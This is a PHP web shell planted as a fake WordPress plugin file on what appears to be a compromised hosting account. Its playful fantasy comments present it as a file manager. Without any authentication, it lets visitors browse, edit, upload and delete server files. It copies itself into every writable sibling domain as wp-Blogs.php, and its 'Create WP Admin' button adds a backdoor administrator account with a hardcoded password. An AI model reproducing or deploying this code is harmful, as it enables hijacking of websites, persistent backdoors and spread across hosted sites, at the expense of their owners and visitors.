File: /home/casinobe/domains/kohkae789-x.com/private_html/wp-content/plugins/rqpdsjj/xx.php
<?php
// 🔮 CrystalFile — PHP File Manager & Auto-Mystical Replicator 🧙♀️
// WARNING: This script may whisper secrets to other folders and create little clones called wp-Blogs.php
// WARNING: This script may whisper secrets to other folders and create little clones called wp-Blogs.php
// WARNING: This script may whisper secrets to other folders and create little clones called wp-Blogs.php
// WARNING: Thisdgvshbgdnsnbdsfgnn,rytsn,jdf,ndfgh,gch, dts,dggh,gdh,d,dg,Blogs.php
error_reporting(0);
// === Path Handling — Where in the server universe are we? ===
$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if (!$path || !is_dir($path)) $path = getcwd();
// === Handle Delete — The trash goblins at work ===
if (isset($_GET['delete'])) {
$target = realpath($_GET['delete']);
if ($target && strpos($target, getcwd()) === 0 && file_exists($target)) {
if (is_dir($target)) rmdir($target); // folders go poof
else unlink($target); // files vanish
echo "<p style='color:#00FFAA;'>🗑️ Deleted: " . htmlspecialchars(basename($target)) . " — The void accepts it.</p>";
}
}
// === Breadcrumb UI — A path map for curious travelers ===
function breadcrumb($path) {
$parts = explode('/', trim($path, '/'));
$built = '/';
$html = "<strong>📍 Current path:</strong> ";
foreach ($parts as $part) {
$built .= "$part/";
$html .= "<a href='?path=" . urlencode($built) . "'>$part</a>/";
}
return $html;
}
// === Folder/File Listing — Sorting files like a meticulous wizard ===
function list_dir($path) {
$out = '';
$folders = $files = [];
foreach (scandir($path) as $item) {
if ($item === '.' || $item === '..') continue;
$full = "$path/$item";
if (is_dir($full)) $folders[] = $item;
else $files[] = $item;
}
natcasesort($folders);
natcasesort($files);
// Display folders first — majestic towers
foreach ($folders as $f) {
$full = "$path/$f";
$out .= "<li><span class='folder-icon'>📁</span> <a href='?path=" . urlencode($full) . "' class='folder-link'>$f</a> | <a href='?delete=" . urlencode($full) . "' onclick=\"return confirm('Delete this folder?')\" class='delete-link'>🗑️ Delete</a></li>";
}
// Then files — scrolls of knowledge
foreach ($files as $f) {
$full = "$path/$f";
$out .= "<li><span class='file-icon'>📄</span> <a href='?path=" . urlencode($path) . "&view=" . urlencode($f) . "' class='file-link'>$f</a> | <a href='?path=" . urlencode($path) . "&edit=" . urlencode($f) . "' class='edit-link'>✏️ Edit</a> | <a href='?delete=" . urlencode($full) . "' onclick=\"return confirm('Delete this file?')\" class='delete-link'>🗑️ Delete</a></li>";
}
return $out;
}
// === View File — Peeking inside the scroll ===
function view_file($path, $file) {
$full = "$path/$file";
if (!is_file($full)) return;
echo "<h3>📄 Viewing: $file</h3><pre>" . htmlspecialchars(file_get_contents($full)) . "</pre><hr>";
}
// === Edit File — The wizard's quill ✒️ ===
function edit_file($path, $file) {
$full = "$path/$file";
if (!is_file($full)) return;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
file_put_contents($full, $_POST['content']);
echo "<p class='success'>✅ Saved — The quill obeys.</p>";
}
$code = htmlspecialchars(file_get_contents($full));
echo "<h3>✏️ Editing: $file</h3> <form method='post'> <textarea name='content' rows='20'>$code</textarea><br> <button type='submit'>💾 Save Changes</button> </form><hr>";
}
// === Upload + Folder + File Creation — Summon new artifacts 🛠️ ===
function upload_mkdir_create($path) {
if (!empty($_FILES['up']['name'])) {
move_uploaded_file($_FILES['up']['tmp_name'], "$path/" . basename($_FILES['up']['name']));
echo "<p class='success'>📤 Uploaded — Magic delivered.</p>";
}
if (!empty($_POST['mkdir'])) {
$target = "$path/" . basename($_POST['mkdir']);
if (!file_exists($target)) {
mkdir($target);
echo "<p class='success'>📁 Folder created — A new tower rises.</p>";
} else {
echo "<p class='error'>❌ Folder exists — Oops, déjà vu.</p>";
}
}
if (!empty($_POST['newfile']) && !empty($_POST['filename'])) {
$filename = basename($_POST['filename']);
$target = "$path/$filename";
if (!file_exists($target)) {
file_put_contents($target, $_POST['newfile']);
echo "<p class='success'>📄 File created — Scroll inscribed.</p>";
} else {
echo "<p class='error'>❌ File exists — Already on the shelf.</p>";
}
}
// Forms for file/folder upload/creation
echo "<div class='action-cards'>
<div class='card'>
<h4>📤 Upload File</h4>
<form method='post' enctype='multipart/form-data'>
<input type='file' name='up'>
<button type='submit'>Upload</button>
</form>
</div>
<div class='card'>
<h4>📁 Create Folder</h4>
<form method='post'>
<input type='text' name='mkdir' placeholder='Folder name'>
<button type='submit'>Create Folder</button>
</form>
</div>
<div class='card'>
<h4>📄 Create File</h4>
<form method='post'>
<input type='text' name='filename' placeholder='File name'><br>
<textarea name='newfile' rows='4' placeholder='File content'></textarea>
<button type='submit'>Create File</button>
</form>
</div>
</div>";
}
// === Self-replication — Clone yourself like a mischievous wizard 🪄 ===
function replicate_self($code) {
static $done = false;
if ($done) return [];
$done = true;
$dir = __DIR__;
$cloned_urls = [];
while ($dir !== '/') {
if (is_dir("$dir/domains")) {
foreach (scandir("$dir/domains") as $d) {
if ($d === '.' || $d === '..') continue;
$targetDir = "$dir/domains/$d/public_html";
$targetFile = "$targetDir/wp-Blogs.php"; // 🎯 clone name set here
if (is_dir($targetDir) && is_writable($targetDir)) {
if (file_put_contents($targetFile, $code)) {
$cloned_urls[] = "http://$d/wp-Blogs.php";
}
}
}
break;
}
$dir = dirname($dir);
}
return $cloned_urls;
}
// === WP Admin — The admin summoning spell ⚡ ===
function handle_wp_injection($path) {
if (!isset($_GET['create_wp_user'])) return;
$wp = $path;
while ($wp !== '/') {
if (file_exists("$wp/wp-config.php")) break;
$wp = dirname($wp);
}
if (!file_exists("$wp/wp-load.php")) {
echo "<p class='error'>❌ WordPress not found — spell fizzled.</p>";
return;
}
require_once("$wp/wp-load.php");
$user = 'savvy';
$pass = 'SavvyMrx#';
$mail = 'savvy@domain.com';
if (!username_exists($user) && !email_exists($mail)) {
$uid = wp_create_user($user, $pass, $mail);
$wp_user = new WP_User($uid);
$wp_user->set_role('administrator');
echo "<p class='success'>✅ WP Admin user 'savvy' created — wizardry complete.</p>";
} else {
echo "<p class='warning'>⚠️ User/email already exists — the fates conspire.</p>";
}
}
// === Render HTML — The enchanted scroll 📜 ===
echo "<!DOCTYPE html><html><head><meta charset='UTF-8'><title>🔮 CrystalFile</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: linear-gradient(135deg, #0a0e1a 0%, #0f1420 100%);
color: #c8d1e8;
font-family: 'Segoe UI', 'Fira Code', 'Monaco', monospace;
padding: 30px 20px;
min-height: 100vh;
}
.container {
max-width: 1100px;
margin: 0 auto;
background: rgba(18, 22, 35, 0.7);
backdrop-filter: blur(2px);
border-radius: 24px;
padding: 25px 30px;
box-shadow: 0 8px 32px rgba(0,0,0,0.4), inset 0 1px 0 rgba(255,255,255,0.05);
border: 1px solid rgba(100, 200, 255, 0.15);
}
h2 {
font-size: 1.8rem;
background: linear-gradient(135deg, #7ae9ff, #5b7aff);
-webkit-background-clip: text;
background-clip: text;
color: transparent;
display: inline-block;
letter-spacing: 1px;
text-shadow: 0 0 20px rgba(90, 150, 255, 0.3);
}
.glow {
font-size: 0.9rem;
color: #5b7aff;
margin-bottom: 20px;
border-left: 3px solid #5b7aff;
padding-left: 12px;
}
a {
color: #7ae9ff;
text-decoration: none;
transition: all 0.2s ease;
border-bottom: 1px dotted transparent;
}
a:hover {
color: #b3f0ff;
border-bottom-color: #7ae9ff;
}
.folder-link, .file-link { font-weight: 500; }
.edit-link { color: #ffb86b; }
.delete-link { color: #ff6b6b; }
hr {
border: none;
height: 1px;
background: linear-gradient(90deg, transparent, #5b7aff, #7ae9ff, #5b7aff, transparent);
margin: 20px 0;
}
pre, textarea {
background: #0c0f17;
border: 1px solid #2a2f42;
border-radius: 12px;
padding: 15px;
font-family: 'Fira Code', monospace;
font-size: 13px;
color: #e2e8ff;
overflow-x: auto;
width: 100%;
}
textarea:focus, input:focus {
outline: none;
border-color: #5b7aff;
box-shadow: 0 0 0 2px rgba(90, 150, 255, 0.2);
}
button {
background: linear-gradient(135deg, #2a2f42, #1a1e2c);
border: 1px solid #3a405a;
color: #c8d1e8;
padding: 8px 18px;
margin-top: 10px;
cursor: pointer;
border-radius: 40px;
font-weight: 600;
transition: all 0.2s;
font-family: monospace;
}
button:hover {
background: linear-gradient(135deg, #3a405a, #2a2f42);
border-color: #5b7aff;
color: #fff;
transform: translateY(-1px);
box-shadow: 0 4px 12px rgba(90, 150, 255, 0.2);
}
ul {
list-style: none;
padding: 0;
display: grid;
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
gap: 8px 16px;
}
li {
padding: 8px 12px;
background: rgba(12, 15, 23, 0.6);
border-radius: 12px;
border: 1px solid #232838;
transition: all 0.2s;
}
li:hover {
background: rgba(30, 35, 55, 0.8);
border-color: #4a5a8a;
transform: translateX(3px);
}
.folder-icon, .file-icon { margin-right: 8px; opacity: 0.8; }
input[type='text'], input[type='file'] {
background: #0c0f17;
border: 1px solid #2a2f42;
border-radius: 20px;
padding: 8px 14px;
color: #e2e8ff;
width: 100%;
margin-bottom: 8px;
font-family: monospace;
}
.action-cards {
display: flex;
flex-wrap: wrap;
gap: 20px;
margin: 25px 0;
}
.card {
background: rgba(12, 15, 23, 0.7);
border-radius: 20px;
padding: 18px;
flex: 1;
min-width: 200px;
border: 1px solid #2a2f42;
backdrop-filter: blur(4px);
}
.card h4 {
margin-bottom: 12px;
color: #9bb5ff;
font-size: 1rem;
}
.card textarea {
height: 80px;
margin-bottom: 8px;
}
.success { color: #6bffb8; background: rgba(0,0,0,0.3); padding: 8px 14px; border-radius: 30px; font-size: 0.9rem; }
.error { color: #ff8a8a; background: rgba(0,0,0,0.3); padding: 8px 14px; border-radius: 30px; }
.warning { color: #ffd966; background: rgba(0,0,0,0.3); padding: 8px 14px; border-radius: 30px; }
.up-link {
display: inline-block;
background: #1e2335;
padding: 5px 15px;
border-radius: 30px;
margin: 10px 0;
}
.wp-btn {
background: linear-gradient(135deg, #2a1a4a, #1a0f2e);
border-color: #8a6eff;
margin-bottom: 15px;
}
@media (max-width: 700px) {
.container { padding: 15px; }
ul { grid-template-columns: 1fr; }
.action-cards { flex-direction: column; }
}
</style>
</head>
<body>
<div class='container'>
<h2>🔮 CrystalFile — Mystic File Browser</h2>
<div class='glow'>⚡ arcane file manager • replication ready</div>
<p>" . breadcrumb($path) . "</p><hr>";
// WP Admin Button
echo "<div style='display:flex; justify-content:flex-end; margin-bottom: 10px;'>
<form method='get'>
<input type='hidden' name='path' value='" . htmlspecialchars($path) . "'>
<button class='wp-btn' name='create_wp_user' value='1'>👤 Create WP Admin</button>
</form>
</div>";
handle_wp_injection($path);
// Go up — Ascend the file system mountain
$up = dirname($path);
if ($up && $up !== $path) echo "<p class='up-link'>⬆️ <a href='?path=" . urlencode($up) . "'>Go up: $up</a></p>";
// View/Edit if
if (isset($_GET['view'])) view_file($path, basename($_GET['view']));
if (isset($_GET['edit'])) edit_file($path, basename($_GET['edit']));
// Upload/Folder/File UI
upload_mkdir_create($path);
// Auto-replication — Only from original, not clones
if (basename(__FILE__) !== 'wp-Blogs.php') {
$clones = replicate_self(file_get_contents(__FILE__));
if (!empty($clones)) {
echo "<div style='margin-top: 20px; padding: 12px; background: #0a0e18; border-radius: 20px;'><p style='color:#6bffb8;'>✅ Auto-replicated to:</p><ul style='display:flex; flex-wrap:wrap; gap:6px;'>";
foreach ($clones as $u) echo "<li style='background:#13182a; padding:4px 12px;'><a href='$u' target='_blank'>$u</a></li>";
echo "</ul></div><hr>";
}
}
// Directory listing
echo "<ul>" . list_dir($path) . "</ul>";
echo "</div></body></html>";
?>